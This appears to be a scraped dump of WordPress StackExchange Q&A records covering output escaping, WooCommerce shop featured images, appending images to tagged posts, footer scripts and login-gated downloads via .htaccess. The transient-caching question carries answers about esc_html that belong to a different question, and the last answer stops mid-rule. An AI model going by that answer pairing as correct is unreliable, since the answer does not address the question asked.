[ { "answer_id": 285122, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>As this is not clear how you get the data inside the <code>exp_ten</code> table I would suggest use the <code>esc_attr( $tenant-&gt;tenant_name )</code> which will encode the apostrophe along other things.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/esc_attr/\" rel=\"nofollow noreferrer\">More info</a> </p>\n" }, { "answer_id": 285124, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 1, "selected": false, "text": "<p>Use <a href=\"https://developer.wordpress.org/reference/functions/esc_html/\" rel=\"nofollow noreferrer\"><code>esc_html()</code></a> when outputting a string value inside tags. Use <a href=\"https://developer.wordpress.org/reference/functions/esc_attr/\" rel=\"nofollow noreferrer\"><code>esc_attr()</code></a> when you're outputting a string value inside an <code>attribute=\"\"</code>. If you're outputting a URL, use <a href=\"https://developer.wordpress.org/reference/functions/esc_url/\" rel=\"nofollow noreferrer\"><code>esc_url()</code></a> instead of those two.</p>\n\n<pre><code>if ($tenantsInfo) {\n foreach ($tenantsInfo as $tenant) { \n echo \"&lt;h2&gt;Welcome, \" . esc_html( $tenant-&gt;tenant_name ) . \"&lt;/h2&gt;\";\n }\n}\n</code></pre>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285119", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125541/" ]
I've got this query: ``` $tenantsInfo = $wpdb->get_results("SELECT * FROM exp_ten WHERE tenant_number = " . (int) $user->ID); ``` I use some echo to show data on frontend: ``` if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "<h2>Welcome," . " " .$tenant->tenant_name. "</h2>"; ``` When data, like tenant's name contains apostrophe, no data is displayed on frontend. Could somebody please help me change mysql statement so apostrophe could be escaped? Or maybe there is different solution? Thanks in advance!
Use [`esc_html()`](https://developer.wordpress.org/reference/functions/esc_html/) when outputting a string value inside tags. Use [`esc_attr()`](https://developer.wordpress.org/reference/functions/esc_attr/) when you're outputting a string value inside an `attribute=""`. If you're outputting a URL, use [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) instead of those two. ``` if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "<h2>Welcome, " . esc_html( $tenant->tenant_name ) . "</h2>"; } } ```
285,147
<p>I have few transient options in my plugin with an expiry time of 45 minutes. After that, they hit an API to get the response. Now in some cases, the server throws an exception or throttles the user in case there is a limit on request per second. Now in such, scenario I still want to render the response and the only way seems to me right now is to somehow restore the expired transient in case of throttling exception from the server. Any thoughts on ways to restore expired transients or any other better approach?</p>
[ { "answer_id": 285122, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>As this is not clear how you get the data inside the <code>exp_ten</code> table I would suggest use the <code>esc_attr( $tenant-&gt;tenant_name )</code> which will encode the apostrophe along other things.</p>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/esc_attr/\" rel=\"nofollow noreferrer\">More info</a> </p>\n" }, { "answer_id": 285124, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 1, "selected": false, "text": "<p>Use <a href=\"https://developer.wordpress.org/reference/functions/esc_html/\" rel=\"nofollow noreferrer\"><code>esc_html()</code></a> when outputting a string value inside tags. Use <a href=\"https://developer.wordpress.org/reference/functions/esc_attr/\" rel=\"nofollow noreferrer\"><code>esc_attr()</code></a> when you're outputting a string value inside an <code>attribute=\"\"</code>. If you're outputting a URL, use <a href=\"https://developer.wordpress.org/reference/functions/esc_url/\" rel=\"nofollow noreferrer\"><code>esc_url()</code></a> instead of those two.</p>\n\n<pre><code>if ($tenantsInfo) {\n foreach ($tenantsInfo as $tenant) { \n echo \"&lt;h2&gt;Welcome, \" . esc_html( $tenant-&gt;tenant_name ) . \"&lt;/h2&gt;\";\n }\n}\n</code></pre>\n" } ]
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285147", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/116770/" ]
I have few transient options in my plugin with an expiry time of 45 minutes. After that, they hit an API to get the response. Now in some cases, the server throws an exception or throttles the user in case there is a limit on request per second. Now in such, scenario I still want to render the response and the only way seems to me right now is to somehow restore the expired transient in case of throttling exception from the server. Any thoughts on ways to restore expired transients or any other better approach?
Use [`esc_html()`](https://developer.wordpress.org/reference/functions/esc_html/) when outputting a string value inside tags. Use [`esc_attr()`](https://developer.wordpress.org/reference/functions/esc_attr/) when you're outputting a string value inside an `attribute=""`. If you're outputting a URL, use [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) instead of those two. ``` if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "<h2>Welcome, " . esc_html( $tenant->tenant_name ) . "</h2>"; } } ```
285,192
<p>I have a custom theme in which I have a woocommerce.php file to display the shop homepage. This is simply:</p> <pre><code>get_header(); ?&gt; &lt;div id="primary" class="content-area"&gt; &lt;main id="main" class="site-main"&gt; &lt;div id="page-header-image"&gt; &lt;?php the_post_thumbnail(); ?&gt; &lt;/div&gt; &lt;?php woocommerce_content(); ?&gt; &lt;/main&gt;&lt;!-- #main --&gt; &lt;/div&gt;&lt;!-- #primary --&gt; &lt;?php get_footer(); </code></pre> <p>However, <code>the_post_thumbnail();</code> shows the featured image of the first product on the page.</p> <p>How can I show the Page featured image not the products?</p> <p>Thanks</p>
[ { "answer_id": 285292, "author": "Steviehype", "author_id": 67612, "author_profile": "https://wordpress.stackexchange.com/users/67612", "pm_score": 0, "selected": false, "text": "<p>Well, in case it's of use to anyone else heres what I did. </p>\n\n<p>I couldn't find an obvious way so I got the ID of the page I wanted to pull the featured image from then got the attachment URL from that.</p>\n\n<p>I'm sure a more elegant method exists but I needed something fast. This works for the time being!</p>\n\n<pre><code>get_header(); ?&gt;\n\n&lt;div id=\"primary\" class=\"content-area\"&gt;\n &lt;main id=\"main\" class=\"site-main\"&gt;\n\n &lt;?php \n //Only show the header image if it's the shop homepage. Not product pages etc\n if ( is_shop() ):?&gt;\n\n &lt;div id=\"page-header-image\"&gt;\n &lt;?php \n //Get a specific featured image based on page id. In this case the shop page which happens to be 110\n $target_post_id = '110';\n $feat_image = wp_get_attachment_url(get_post_thumbnail_id($target_post_id));\n echo '&lt;img src=\"'. $feat_image.'\"&gt;';\n ?&gt;\n &lt;/div&gt;\n\n &lt;?php endif; ?&gt;\n\n &lt;?php woocommerce_content(); ?&gt;\n\n &lt;/main&gt;&lt;!-- #main --&gt;\n&lt;/div&gt;&lt;!-- #primary --&gt;\n\n&lt;?php\nget_footer();\n</code></pre>\n" }, { "answer_id": 301189, "author": "user142027", "author_id": 142027, "author_profile": "https://wordpress.stackexchange.com/users/142027", "pm_score": 1, "selected": false, "text": "<p>Thanks to you I tried this on my functions.php\nIt worked, but also had to get the ID of the page, in my case 4.</p>\n\n<pre><code>add_action( 'woocommerce_before_main_content', 'woocommerce_category_image', 2 );\nfunction woocommerce_category_image() {\n if ( is_product_category() ){\n global $wp_query;\n $cat = $wp_query-&gt;get_queried_object();\n $thumbnail_id = get_term_meta( $cat-&gt;term_id, 'thumbnail_id', true );\n $image = wp_get_attachment_url( $thumbnail_id );\n if ( $image ) {\n echo '&lt;div class=\"category-image\"&gt;&lt;img src=\"' . $image . '\" alt=\"' . $cat-&gt;name . '\" /&gt;&lt;/div&gt;';\n }\n }\n if ( is_shop() ){\n $target_post_id = '4';\n $image = wp_get_attachment_url(get_post_thumbnail_id($target_post_id));\n echo '&lt;div class=\"category-image\"&gt;&lt;img src=\"' . $image. '\" alt=\"' . $target_post_id-&gt;name . '\" /&gt;&lt;/div&gt;'; \n }\n}\n</code></pre>\n" } ]
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285192", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/67612/" ]
I have a custom theme in which I have a woocommerce.php file to display the shop homepage. This is simply: ``` get_header(); ?> <div id="primary" class="content-area"> <main id="main" class="site-main"> <div id="page-header-image"> <?php the_post_thumbnail(); ?> </div> <?php woocommerce_content(); ?> </main><!-- #main --> </div><!-- #primary --> <?php get_footer(); ``` However, `the_post_thumbnail();` shows the featured image of the first product on the page. How can I show the Page featured image not the products? Thanks
Thanks to you I tried this on my functions.php It worked, but also had to get the ID of the page, in my case 4. ``` add_action( 'woocommerce_before_main_content', 'woocommerce_category_image', 2 ); function woocommerce_category_image() { if ( is_product_category() ){ global $wp_query; $cat = $wp_query->get_queried_object(); $thumbnail_id = get_term_meta( $cat->term_id, 'thumbnail_id', true ); $image = wp_get_attachment_url( $thumbnail_id ); if ( $image ) { echo '<div class="category-image"><img src="' . $image . '" alt="' . $cat->name . '" /></div>'; } } if ( is_shop() ){ $target_post_id = '4'; $image = wp_get_attachment_url(get_post_thumbnail_id($target_post_id)); echo '<div class="category-image"><img src="' . $image. '" alt="' . $target_post_id->name . '" /></div>'; } } ```
285,209
<p>I've been working with a child theme and functions.php file to add an Image to the posts that have a specific Tag (<code>Videos</code> in the code). I was trying to create the function but I have some issues, one is that in the site, when I load a Post with that tag, it crashes, looks like it stays in a loop, and after that I have to manually delete all the repeated images (I just want one) from the posts in the database (PhpMyAdmin)</p> <p>Could you help me to solve the issue and have working code?</p> <p><strong>Important Update</strong>: I am using a RSS feed, and I require that Image to be in the feed too (I mean in the posts table database)</p> <p>Here is my code in <code>functions.php</code>:</p> <pre><code>/** * Prepend image to post if it has a specific tag * * @param String $content - WP Post Content for display * * @return String $content - WP Post Content for display */ function theme_videos_append_image( $content ) { global $post; // It would be easier if you got this URL from Attachment ID $upload_dir_arr = wp_upload_dir(); // Get upload directory array ( https://developer.wordpress.org/reference/functions/wp_upload_dir/#user-contributed-notes ) $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; // Ensure we are viewing a Post, and it has the Videos tag if( has_tag( 'Videos', $post-&gt;ID ) ) { $has_image = get_post_meta( $post-&gt;ID, '_video_image_added', true ); // Check if our postmeta exists // If is does not have our postmeta - add it if( empty( $has_image ) ) { $image = sprintf( '&lt;p&gt;&lt;img src="%1$s" alt="" class="img-responsive" /&gt;&lt;/p&gt;', $static_image_url ); // Create image $content = $image . $content; // prepend image // Update post so we don't need to add the image again $success = wp_update_post( array( 'ID' =&gt; $post-&gt;ID, 'post_content' =&gt; $image . $post-&gt;post_content, ) ); // If the post updated, create postmeta letting us know later it has the image if( false !== $success &amp;&amp; !is_wp_error( $success ) ) { update_post_meta( $post-&gt;ID, '_video_image_added', true ); } } } return $content; } add_filter( 'the_content', 'theme_videos_append_image' ); </code></pre>
[ { "answer_id": 285211, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 1, "selected": false, "text": "<p>Heres a more simple version of your function:</p>\n\n<pre><code>&lt;?php\n\n add_filter( 'the_content', 'theme_videos_append_image' );\n\n function theme_videos_append_image( $content ) {\n\n global $post;\n\n $upload_dir_arr = wp_upload_dir();\n $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg';\n $tag = '&lt;p&gt;&lt;img src=\"' . $static_image_url . '\" alt=\"\" class=\"img-responsive\" /&gt;&lt;/p&gt;';\n\n return has_tag( 'Videos', $post-&gt;ID ) ? $tag . $content : $content;\n\n }\n\n?&gt;\n</code></pre>\n\n<p>Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me.</p>\n\n<p>The loop you've mentioned probably exists because in <code>wp_update_post</code> the <code>the_content</code> filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.</p>\n" }, { "answer_id": 285270, "author": "Skatox", "author_id": 15331, "author_profile": "https://wordpress.stackexchange.com/users/15331", "pm_score": 0, "selected": false, "text": "<p>Extending @GDY solution. You have to also hook to <code>the_excerpt_rss</code> filter by doing:</p>\n\n<pre><code>add_filter('the_excerpt_rss', 'theme_videos_append_image');\n\nadd_filter( 'the_content', 'theme_videos_append_image' );\n\nfunction theme_videos_append_image( $content ) {\n\n global $post;\n\n $upload_dir_arr = wp_upload_dir();\n $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg';\n $tag = '&lt;p&gt;&lt;img src=\"' . $static_image_url . '\" alt=\"\" class=\"img-responsive\" /&gt;&lt;/p&gt;';\n\n return has_tag( 'Videos', $post-&gt;ID ) ? $tag . $content : $content;\n\n}\n</code></pre>\n" } ]
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285209", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124577/" ]
I've been working with a child theme and functions.php file to add an Image to the posts that have a specific Tag (`Videos` in the code). I was trying to create the function but I have some issues, one is that in the site, when I load a Post with that tag, it crashes, looks like it stays in a loop, and after that I have to manually delete all the repeated images (I just want one) from the posts in the database (PhpMyAdmin) Could you help me to solve the issue and have working code? **Important Update**: I am using a RSS feed, and I require that Image to be in the feed too (I mean in the posts table database) Here is my code in `functions.php`: ``` /** * Prepend image to post if it has a specific tag * * @param String $content - WP Post Content for display * * @return String $content - WP Post Content for display */ function theme_videos_append_image( $content ) { global $post; // It would be easier if you got this URL from Attachment ID $upload_dir_arr = wp_upload_dir(); // Get upload directory array ( https://developer.wordpress.org/reference/functions/wp_upload_dir/#user-contributed-notes ) $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; // Ensure we are viewing a Post, and it has the Videos tag if( has_tag( 'Videos', $post->ID ) ) { $has_image = get_post_meta( $post->ID, '_video_image_added', true ); // Check if our postmeta exists // If is does not have our postmeta - add it if( empty( $has_image ) ) { $image = sprintf( '<p><img src="%1$s" alt="" class="img-responsive" /></p>', $static_image_url ); // Create image $content = $image . $content; // prepend image // Update post so we don't need to add the image again $success = wp_update_post( array( 'ID' => $post->ID, 'post_content' => $image . $post->post_content, ) ); // If the post updated, create postmeta letting us know later it has the image if( false !== $success && !is_wp_error( $success ) ) { update_post_meta( $post->ID, '_video_image_added', true ); } } } return $content; } add_filter( 'the_content', 'theme_videos_append_image' ); ```
Heres a more simple version of your function: ``` <?php add_filter( 'the_content', 'theme_videos_append_image' ); function theme_videos_append_image( $content ) { global $post; $upload_dir_arr = wp_upload_dir(); $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; $tag = '<p><img src="' . $static_image_url . '" alt="" class="img-responsive" /></p>'; return has_tag( 'Videos', $post->ID ) ? $tag . $content : $content; } ?> ``` Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me. The loop you've mentioned probably exists because in `wp_update_post` the `the_content` filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.
285,218
<p>I'm trying to build in a feature using ACF where a user picks an option to have the hero image change to one of three options. 1) A static hero image 2) A youtube video 3) A mp4 on loop. I have the backend end set up with a conditional to show which one depending on the option, however, I want the user to be able to select an option and have that option appear over the others. This is what I have so far:</p> <pre><code>&lt;?php if(get_field('hero_video', 'options') ) { $headervideo = get_field( 'hero_video', 'options' ); echo '&lt;div class="headervideo"&gt;' . $headervideo . '&lt;/div&gt;'; else if ( get_field( 'hero_upload', 'options' ) ) { $headerupload = get_field( 'hero_upload', 'options' ); echo '&lt;div class="hero-video" data-vide-bg="mp4: ' . $headerupload . '" data-vide-options="loop: true, muted: true"&gt; &lt;/div&gt;'; else ( get_field( 'header_image', 'options' ) ){ $headerimage = get_field( 'header_image', 'options' ); echo '&lt;img class="headerimage" src ="' . $headerimage['url'] . '" alt="' . $headerimage['alt'] . '" /&gt;'; } ?&gt; &lt;?php endif;?&gt; </code></pre> <p>Before I did this, I had just if statements. But if the user left an image in the image selection box, it would stay up. I'm trying to avoid that with this. The current error I get is "syntax error, unexpected 'else' (T_ELSE)" on line 6.</p>
[ { "answer_id": 285211, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 1, "selected": false, "text": "<p>Heres a more simple version of your function:</p>\n\n<pre><code>&lt;?php\n\n add_filter( 'the_content', 'theme_videos_append_image' );\n\n function theme_videos_append_image( $content ) {\n\n global $post;\n\n $upload_dir_arr = wp_upload_dir();\n $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg';\n $tag = '&lt;p&gt;&lt;img src=\"' . $static_image_url . '\" alt=\"\" class=\"img-responsive\" /&gt;&lt;/p&gt;';\n\n return has_tag( 'Videos', $post-&gt;ID ) ? $tag . $content : $content;\n\n }\n\n?&gt;\n</code></pre>\n\n<p>Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me.</p>\n\n<p>The loop you've mentioned probably exists because in <code>wp_update_post</code> the <code>the_content</code> filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.</p>\n" }, { "answer_id": 285270, "author": "Skatox", "author_id": 15331, "author_profile": "https://wordpress.stackexchange.com/users/15331", "pm_score": 0, "selected": false, "text": "<p>Extending @GDY solution. You have to also hook to <code>the_excerpt_rss</code> filter by doing:</p>\n\n<pre><code>add_filter('the_excerpt_rss', 'theme_videos_append_image');\n\nadd_filter( 'the_content', 'theme_videos_append_image' );\n\nfunction theme_videos_append_image( $content ) {\n\n global $post;\n\n $upload_dir_arr = wp_upload_dir();\n $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg';\n $tag = '&lt;p&gt;&lt;img src=\"' . $static_image_url . '\" alt=\"\" class=\"img-responsive\" /&gt;&lt;/p&gt;';\n\n return has_tag( 'Videos', $post-&gt;ID ) ? $tag . $content : $content;\n\n}\n</code></pre>\n" } ]
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285218", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123891/" ]
I'm trying to build in a feature using ACF where a user picks an option to have the hero image change to one of three options. 1) A static hero image 2) A youtube video 3) A mp4 on loop. I have the backend end set up with a conditional to show which one depending on the option, however, I want the user to be able to select an option and have that option appear over the others. This is what I have so far: ``` <?php if(get_field('hero_video', 'options') ) { $headervideo = get_field( 'hero_video', 'options' ); echo '<div class="headervideo">' . $headervideo . '</div>'; else if ( get_field( 'hero_upload', 'options' ) ) { $headerupload = get_field( 'hero_upload', 'options' ); echo '<div class="hero-video" data-vide-bg="mp4: ' . $headerupload . '" data-vide-options="loop: true, muted: true"> </div>'; else ( get_field( 'header_image', 'options' ) ){ $headerimage = get_field( 'header_image', 'options' ); echo '<img class="headerimage" src ="' . $headerimage['url'] . '" alt="' . $headerimage['alt'] . '" />'; } ?> <?php endif;?> ``` Before I did this, I had just if statements. But if the user left an image in the image selection box, it would stay up. I'm trying to avoid that with this. The current error I get is "syntax error, unexpected 'else' (T\_ELSE)" on line 6.
Heres a more simple version of your function: ``` <?php add_filter( 'the_content', 'theme_videos_append_image' ); function theme_videos_append_image( $content ) { global $post; $upload_dir_arr = wp_upload_dir(); $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; $tag = '<p><img src="' . $static_image_url . '" alt="" class="img-responsive" /></p>'; return has_tag( 'Videos', $post->ID ) ? $tag . $content : $content; } ?> ``` Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me. The loop you've mentioned probably exists because in `wp_update_post` the `the_content` filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.
285,234
<p>I have a site with multiple custom taxonomies which are used for filtering posts.</p> <p>One of the taxonomies has a <code>taxonomy-%term%.php</code> template file.</p> <p><code>/?country=the_country</code> shows the country taxonomy template</p> <p>but <code>/?topic=the_topic&amp;country=the_country</code> uses the country taxonomy template as well.</p> <p>Is there a simple way to avoid loading the <code>taxonomy-country.php</code> template if more than one taxonomy is being queried?</p>
[ { "answer_id": 285211, "author": "GDY", "author_id": 52227, "author_profile": "https://wordpress.stackexchange.com/users/52227", "pm_score": 1, "selected": false, "text": "<p>Heres a more simple version of your function:</p>\n\n<pre><code>&lt;?php\n\n add_filter( 'the_content', 'theme_videos_append_image' );\n\n function theme_videos_append_image( $content ) {\n\n global $post;\n\n $upload_dir_arr = wp_upload_dir();\n $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg';\n $tag = '&lt;p&gt;&lt;img src=\"' . $static_image_url . '\" alt=\"\" class=\"img-responsive\" /&gt;&lt;/p&gt;';\n\n return has_tag( 'Videos', $post-&gt;ID ) ? $tag . $content : $content;\n\n }\n\n?&gt;\n</code></pre>\n\n<p>Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me.</p>\n\n<p>The loop you've mentioned probably exists because in <code>wp_update_post</code> the <code>the_content</code> filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.</p>\n" }, { "answer_id": 285270, "author": "Skatox", "author_id": 15331, "author_profile": "https://wordpress.stackexchange.com/users/15331", "pm_score": 0, "selected": false, "text": "<p>Extending @GDY solution. You have to also hook to <code>the_excerpt_rss</code> filter by doing:</p>\n\n<pre><code>add_filter('the_excerpt_rss', 'theme_videos_append_image');\n\nadd_filter( 'the_content', 'theme_videos_append_image' );\n\nfunction theme_videos_append_image( $content ) {\n\n global $post;\n\n $upload_dir_arr = wp_upload_dir();\n $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg';\n $tag = '&lt;p&gt;&lt;img src=\"' . $static_image_url . '\" alt=\"\" class=\"img-responsive\" /&gt;&lt;/p&gt;';\n\n return has_tag( 'Videos', $post-&gt;ID ) ? $tag . $content : $content;\n\n}\n</code></pre>\n" } ]
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285234", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123674/" ]
I have a site with multiple custom taxonomies which are used for filtering posts. One of the taxonomies has a `taxonomy-%term%.php` template file. `/?country=the_country` shows the country taxonomy template but `/?topic=the_topic&country=the_country` uses the country taxonomy template as well. Is there a simple way to avoid loading the `taxonomy-country.php` template if more than one taxonomy is being queried?
Heres a more simple version of your function: ``` <?php add_filter( 'the_content', 'theme_videos_append_image' ); function theme_videos_append_image( $content ) { global $post; $upload_dir_arr = wp_upload_dir(); $static_image_url = $upload_dir_arr['baseurl'] . '/2017/11/upliftingscroll.jpg'; $tag = '<p><img src="' . $static_image_url . '" alt="" class="img-responsive" /></p>'; return has_tag( 'Videos', $post->ID ) ? $tag . $content : $content; } ?> ``` Check if that is the most elegant solution for getting the image URL. Seems a bit odd to me. The loop you've mentioned probably exists because in `wp_update_post` the `the_content` filter also may be applied. So if you want to stick to your solution try adding the post meta first and then updating the post content ... but i don't think this is necessary.
285,265
<p>I have a script I want to place in my site's footer. It's not actually a file, just a single line of code (the script source is located at an external URL). So my question is, should I enqueue the script or just copy and paste it into the footer?</p>
[ { "answer_id": 285269, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 2, "selected": false, "text": "<p>See <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\"><code>wp_enqueue_script()</code></a> and the <code>$in_footer</code> parameter it supports. Here's an example of how you'd do this from the <code>functions.php</code> file for your theme. Note the last argument is <code>true</code>, which inserts the script into the footer.</p>\n\n<pre><code>&lt;?php\nadd_action( 'wp_enqueue_scripts', function() {\n wp_enqueue_script( 'my-script', '/path/to/script.js', [], null, true );\n} );\n</code></pre>\n" }, { "answer_id": 285271, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": true, "text": "<p>If you want to output a single line of javascript, you might not need to put it in a js file and go through enqueuing it and stuff. Simply output it by using the <code>wp_footer()</code> action hook:</p>\n\n<pre><code>add_action('wp_footer','print_my_script');\nfunction print_my_script(){\n echo '&lt;script&gt; // Your script here &lt;/script&gt;';\n}\n</code></pre>\n\n<p>However, this is good just for small scripts. For larger script and js files, use <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\"><code>wp_enqueue_script()</code></a> instead.</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285265", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/68414/" ]
I have a script I want to place in my site's footer. It's not actually a file, just a single line of code (the script source is located at an external URL). So my question is, should I enqueue the script or just copy and paste it into the footer?
If you want to output a single line of javascript, you might not need to put it in a js file and go through enqueuing it and stuff. Simply output it by using the `wp_footer()` action hook: ``` add_action('wp_footer','print_my_script'); function print_my_script(){ echo '<script> // Your script here </script>'; } ``` However, this is good just for small scripts. For larger script and js files, use [`wp_enqueue_script()`](https://developer.wordpress.org/reference/functions/wp_enqueue_script/) instead.
285,275
<p>I have a domain with a subdomain. </p> <p>Each of those has a different install of WordPress.</p> <p>When I created the databases I made the following:</p> <p>Main Domain = database called: maindomain Sub Domain = database called: subdomain</p> <p>I applied the SAME database username to both databases....</p> <p>So all nice and simple....</p> <p>However, why is the Database Password the same?</p> <pre><code>/** MySQL database password */ define('DB_PASSWORD', 'passwordhere'); </code></pre> <p>When I reset the password for the database username (which I had forgotten) it made my main domain crash?</p> <p>So I guess my question is - have I just merged two databases together? Is that even possible?</p> <p>Hope thats clear!</p>
[ { "answer_id": 285269, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 2, "selected": false, "text": "<p>See <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\"><code>wp_enqueue_script()</code></a> and the <code>$in_footer</code> parameter it supports. Here's an example of how you'd do this from the <code>functions.php</code> file for your theme. Note the last argument is <code>true</code>, which inserts the script into the footer.</p>\n\n<pre><code>&lt;?php\nadd_action( 'wp_enqueue_scripts', function() {\n wp_enqueue_script( 'my-script', '/path/to/script.js', [], null, true );\n} );\n</code></pre>\n" }, { "answer_id": 285271, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": true, "text": "<p>If you want to output a single line of javascript, you might not need to put it in a js file and go through enqueuing it and stuff. Simply output it by using the <code>wp_footer()</code> action hook:</p>\n\n<pre><code>add_action('wp_footer','print_my_script');\nfunction print_my_script(){\n echo '&lt;script&gt; // Your script here &lt;/script&gt;';\n}\n</code></pre>\n\n<p>However, this is good just for small scripts. For larger script and js files, use <a href=\"https://developer.wordpress.org/reference/functions/wp_enqueue_script/\" rel=\"nofollow noreferrer\"><code>wp_enqueue_script()</code></a> instead.</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285275", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/93691/" ]
I have a domain with a subdomain. Each of those has a different install of WordPress. When I created the databases I made the following: Main Domain = database called: maindomain Sub Domain = database called: subdomain I applied the SAME database username to both databases.... So all nice and simple.... However, why is the Database Password the same? ``` /** MySQL database password */ define('DB_PASSWORD', 'passwordhere'); ``` When I reset the password for the database username (which I had forgotten) it made my main domain crash? So I guess my question is - have I just merged two databases together? Is that even possible? Hope thats clear!
If you want to output a single line of javascript, you might not need to put it in a js file and go through enqueuing it and stuff. Simply output it by using the `wp_footer()` action hook: ``` add_action('wp_footer','print_my_script'); function print_my_script(){ echo '<script> // Your script here </script>'; } ``` However, this is good just for small scripts. For larger script and js files, use [`wp_enqueue_script()`](https://developer.wordpress.org/reference/functions/wp_enqueue_script/) instead.
285,296
<p>can you help me with little problem.</p> <p>I need to find a solution, how to redirect user to login page when he wants to download file over link in post content, so, I have some files and I want them to be available only for users that are logged in, otherwise they should be redirected on login page, for example I want to forbid access (download) for all files from wp-content folder, keep in mind that I have several of those folders in the root, I tried with <code>.htaccess</code> file file but its not working </p> <pre><code>RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://(www\.)?brt\.keezst\.com/ [NC] RewriteCond %{REQUEST_URI} !hotlink\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov) [NC] RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule .*\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov)$ http://brt.keezst.com/ [NC] </code></pre>
[ { "answer_id": 285299, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 2, "selected": false, "text": "<p>I wouldn't use htaccess for that.</p>\n\n<p>What I would do is make a 'download page' template and use it to 'serve' the files.</p>\n\n<p>By doing that, I can do a check with <code>is_user_logged_in()</code> <a href=\"https://developer.wordpress.org/reference/functions/is_user_logged_in/\" rel=\"nofollow noreferrer\">Codex</a> and redirect with <code>wp_login_url()</code> <a href=\"https://codex.wordpress.org/Function_Reference/wp_login_url\" rel=\"nofollow noreferrer\">Codex</a></p>\n\n<p>Just do:</p>\n\n<pre><code>if ( is_user_logged_in() ) :\n//file link\nelse :\n wp_login_url();\nendif;\n</code></pre>\n\n<p>I think it's easier and safer to do that. Besides, you can even make that into a plugin later and use it on another projects or keep using it if you change your site template.</p>\n" }, { "answer_id": 285311, "author": "Marko.dev", "author_id": 121777, "author_profile": "https://wordpress.stackexchange.com/users/121777", "pm_score": 2, "selected": true, "text": "<p>Thanks to <a href=\"https://wordpress.stackexchange.com/users/44437/marcelo-henriques-cortez\">Marcelo Henriques</a> answer i figured out how to make this work with <code>.htaccess</code> file and here is the code:</p>\n\n<pre><code>RewriteEngine On\nRewriteBase /\nRewriteCond %{REQUEST_FILENAME} ^.*(mp3|m4a|pdf|doc|xlsx|docx|xls)$\nRewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC]\nRewriteRule (.*) 